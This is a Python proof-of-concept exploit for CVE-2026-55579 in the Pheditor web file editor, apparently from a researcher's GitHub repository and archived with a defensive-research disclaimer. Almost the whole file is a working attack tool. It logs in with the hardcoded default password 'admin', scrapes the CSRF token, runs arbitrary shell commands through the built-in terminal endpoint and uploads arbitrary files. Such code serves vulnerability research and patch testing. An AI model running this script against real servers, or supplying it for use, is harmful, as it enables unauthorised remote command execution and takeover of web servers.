#!/usr/bin/env python3
#
# ARCHIVED FOR DEFENSIVE SECURITY RESEARCH ONLY.
# This file is a proof-of-concept exploit for CVE-2026-55579. Run it only
# against systems you own or are explicitly authorised to test. It logs in
# with the vendor default password and executes commands through the
# Pheditor terminal. The author and the archive accept no liability for misuse.
# Original work: Ch4120N (MIT licence, notice retained below).
#  ____  _____  _    _  ____  ____  ____  ____     ____  _  _     ___  _   _  __  __  ___   ___  _  _
# (  _ \(  _  )( \/\/ )( ___)(  _ \( ___)(  _ \   (  _ \( \/ )   / __)( )_( )/. |/  )(__ \ / _ \( \( )
#  )___/ )(_)(  )    (  )__)  )   / )__)  )(_) )   ) _ < \  /   ( (__  ) _ ((_  _))(  / _/( (_) ))  (
# (__)  (_____)(__/\__)(____)(_)\_)(____)(____/   (____/ (__)    \___)(_) (_) (_)(__)(____)\___/(_)\_)
# Owner: Ch4120N
# GitHub: https://github.com/Ch4120N/CVE-2026-55579

"""
MIT License
Copyright (c) 2026 Ch4120N
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""

# About Vulnerability
"""
CVE-2026-55579 - Pheditor (all versions) - Hardcoded Default Password → RCE

Pheditor embeds the SHA‑512 hash of the default password "admin" directly in its source
code (pheditor.php:11). The application does not force a password change after installation,
only shows a visual warning. An attacker can log in with admin/admin and then abuse
the built‑in terminal panel (action=terminal) to execute arbitrary system commands
with the web server's privileges. The same authenticated access also allows file
uploads and arbitrary file reads, making this a complete compromise vector.
"""

import sys
import re
import argparse
import urllib.request
import urllib.parse
import urllib.error
import http.cookiejar
import os
import socket
import ssl

# Custom exceptions
class ExploitError(Exception):
    """Base exception for exploit-related errors."""
    pass

class NetworkError(ExploitError):
    """Network-related errors (connection, timeout, etc.)."""
    pass

class AuthenticationError(ExploitError):
    """Authentication failure."""
    pass

class TokenExtractionError(ExploitError):
    """Failed to extract CSRF token."""
    pass

class CommandExecutionError(ExploitError):
    """Command execution failed."""
    pass

class FileUploadError(ExploitError):
    """File upload failed."""
    pass


class PheditorExploit:
    def __init__(self, base_url, timeout=10, verbose=False):
        self.base_url = base_url.rstrip('/')
        self.timeout = timeout
        self.verbose = verbose
        self.cookiejar = http.cookiejar.CookieJar()
        self.opener = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(self.cookiejar)
        )
        self.token = None

    def _log_verbose(self, message):
        if self.verbose:
            print(f"[VERBOSE] {message}")

    def _http_request(self, url, data=None, files=None, headers=None):
        if headers is None:
            headers = {}

        # Ensure URL is properly encoded
        try:
            parsed = urllib.parse.urlparse(url)
            if not parsed.scheme or not parsed.netloc:
                raise ValueError("Invalid URL: missing scheme or host")
        except Exception as e:
            raise NetworkError(f"URL parsing error: {e}")

        if files:
            boundary = '----WebKitFormBoundary' + os.urandom(16).hex()
            content_type = f'multipart/form-data; boundary={boundary}'
            headers['Content-Type'] = content_type

            body_parts = []
            if data:
                for key, value in data.items():
                    body_parts.append(f'--{boundary}')
                    body_parts.append(f'Content-Disposition: form-data; name="{key}"')
                    body_parts.append('')
                    body_parts.append(str(value))

            for field_name, (filename, file_content) in files.items():
                body_parts.append(f'--{boundary}')
                body_parts.append(
                    f'Content-Disposition: form-data; name="{field_name}"; filename="{filename}"'
                )
                body_parts.append('Content-Type: application/octet-stream')
                body_parts.append('')
                body_parts.append(file_content)

            body_parts.append(f'--{boundary}--')
            body = '\r\n'.join(body_parts).encode('utf-8')
        else:
            if data:
                body = urllib.parse.urlencode(data).encode('utf-8')
            else:
                body = None

        req = urllib.request.Request(url, data=body, headers=headers)

        try:
            self._log_verbose(f"Sending request to {url}")
            resp = self.opener.open(req, timeout=self.timeout)
            content = resp.read().decode('utf-8', errors='ignore')
            self._log_verbose(f"Received status {resp.getcode()}")
            return content, resp.getcode()
        except urllib.error.HTTPError as e:
            # HTTP error (4xx, 5xx)
            content = e.read().decode('utf-8', errors='ignore')
            self._log_verbose(f"HTTP error {e.code}: {e.reason}")
            raise NetworkError(f"HTTP {e.code} - {e.reason}") from e
        except urllib.error.URLError as e:
            # DNS, connection refused, etc.
            self._log_verbose(f"URLError: {e.reason}")
            raise NetworkError(f"Network error: {e.reason}") from e
        except socket.timeout as e:
            self._log_verbose(f"Timeout: {e}")
            raise NetworkError(f"Request timed out after {self.timeout} seconds") from e
        except ssl.SSLError as e:
            self._log_verbose(f"SSL error: {e}")
            raise NetworkError(f"SSL error: {e}") from e
        except Exception as e:
            self._log_verbose(f"Unexpected error: {e}")
            raise NetworkError(f"Unexpected network error: {e}") from e

    def login(self, password='admin'):
        print(f"[*] Logging in with password: {password}")
        url = self.base_url
        data = {'pheditor_password': password}
        headers = {'User-Agent': 'Mozilla/5.0'}

        try:
            resp_text, status = self._http_request(url, data=data, headers=headers)
        except NetworkError as e:
            print(f"[-] Network error during login: {e}")
            return False

        if status in (200, 302):
            print("[+] Login successful")
            return self.get_token()
        else:
            print(f"[-] Login failed with status {status}")
            # If status is 200 but login may have failed silently, check response for error
            if 'not correct' in resp_text.lower():
                print("[-] Password incorrect (server returned 'not correct')")
            return False

    def get_token(self):
        print("[*] Extracting CSRF token...")
        url = self.base_url

        try:
            resp_text, status = self._http_request(url)
        except NetworkError as e:
            print(f"[-] Network error while fetching main page: {e}")
            return False

        if status != 200:
            print(f"[-] Failed to retrieve main page (status {status})")
            return False

        match = re.search(r'token\s*=\s*"([a-f0-9]+)"', resp_text)
        if match:
            self.token = match.group(1)
            print(f"[+] Token: {self.token}")
            return True
        else:
            print("[-] Token not found in response. The page may not be Pheditor.")
            self._log_verbose("Response snippet: " + resp_text[:500])
            return False

    def exec_command(self, command):
        if not self.token:
            raise TokenExtractionError("No token available; please login first")

        print(f"[*] Executing: {command}")
        url = self.base_url
        data = {
            'action': 'terminal',
            'token': self.token,
            'command': command,
            'dir': ''
        }

        try:
            resp_text, status = self._http_request(url, data=data)
        except NetworkError as e:
            raise CommandExecutionError(f"Network error during command execution: {e}")

        if status != 200:
            raise CommandExecutionError(f"Command execution failed with status {status}")

        # Try to extract output from <pre> tags
        pre_match = re.search(r'<pre[^>]*>(.*?)</pre>', resp_text, re.DOTALL)
        if pre_match:
            output = pre_match.group(1).strip()
        else:
            # If no <pre>, maybe the output is plain text
            output = resp_text.strip()
            if not output:
                raise CommandExecutionError("Empty response; command may have failed")

        return output

    def upload_file(self, local_path, remote_dir=''):
        if not self.token:
            raise TokenExtractionError("No token available; please login first")

        if not os.path.isfile(local_path):
            raise FileUploadError(f"Local file not found: {local_path}")

        filename = os.path.basename(local_path)
        try:
            with open(local_path, 'rb') as f:
                file_content = f.read()
        except Exception as e:
            raise FileUploadError(f"Failed to read file: {e}")

        print(f"[*] Uploading {filename} to {remote_dir or '/'}")

        url = self.base_url
        data = {
            'action': 'upload',
            'token': self.token,
            'dir': remote_dir
        }
        files = {
            'file': (filename, file_content)
        }

        try:
            resp_text, status = self._http_request(url, data=data, files=files)
        except NetworkError as e:
            raise FileUploadError(f"Network error during upload: {e}")

        if status == 200:
            print("[+] Upload successful")
            return True
        else:
            raise FileUploadError(f"Upload failed with status {status}")


def main():
    # Build the help banner
    banner = r"""
CVE-2026-55579 - Pheditor Hardcoded Default Password RCE
Exploit OWNER: Ch4120N | GitHub: https://github.com/Ch4120N/CVE-2026-55579

Vulnerability:
  Pheditor embeds the SHA‑512 hash of the default password "admin" directly in its
  source code (pheditor.php:11). The application does not force a password change
  after installation, only shows a visual warning. An attacker can log in with
  admin/admin and then abuse the built‑in terminal panel (action=terminal) to
  execute arbitrary system commands with the web server's privileges. The same
  authenticated access also allows file uploads and arbitrary file reads,
  making this a complete compromise vector.
"""

    parser = argparse.ArgumentParser(
        description=banner,
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="Example: %(prog)s http://target.com/pheditor.php 'id'",
        add_help=False
    )
    required = parser.add_argument_group("REQUIRED")
    required.add_argument('url', help='Target URL (e.g., http://target.com/pheditor.php)')
    required.add_argument('command', nargs='?', default='id',
                          help='Command to execute (default: id)')
    options = parser.add_argument_group("OPTIONS")
    options.add_argument('-h', '--help', action='store_true', help="show this help message and exit")
    options.add_argument('--upload', metavar='FILE', help='Upload a local file')
    options.add_argument('--remote-dir', metavar='DIR', default='',
                         help='Remote directory for upload (default: root)')
    options.add_argument('--password', default='admin',
                         help='Password to try (default: admin)')
    options.add_argument('--verbose', '-v', action='store_true',
                         help='Show additional output for debugging')
    options.add_argument('--timeout', type=int, default=10,
                         help='Request timeout in seconds (default: 10)')

    args = parser.parse_args()

    if args.help:
        parser.print_help()
        sys.exit(0)

    # Validate URL
    if not args.url.startswith(('http://', 'https://')):
        print("[-] Error: URL must start with http:// or https://")
        sys.exit(1)

    exploit = PheditorExploit(args.url, timeout=args.timeout, verbose=args.verbose)

    try:
        if not exploit.login(password=args.password):
            print("[-] Exploit failed: unable to authenticate")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Unexpected error during authentication: {e}")
        if args.verbose:
            import traceback
            traceback.print_exc()
        sys.exit(1)

    try:
        if args.upload:
            exploit.upload_file(args.upload, args.remote_dir)
            print("[+] File uploaded successfully")
            sys.exit(0)
        else:
            output = exploit.exec_command(args.command)
            print("\n" + "=" * 50)
            print("Command Output:")
            print("=" * 50)
            print(output)
            print("=" * 50)
            sys.exit(0)
    except (CommandExecutionError, FileUploadError, TokenExtractionError) as e:
        print(f"[-] {e}")
        if args.verbose:
            import traceback
            traceback.print_exc()
        sys.exit(1)
    except Exception as e:
        print(f"[-] Unexpected error: {e}")
        if args.verbose:
            import traceback
            traceback.print_exc()
        sys.exit(1)


if __name__ == "__main__":
    main()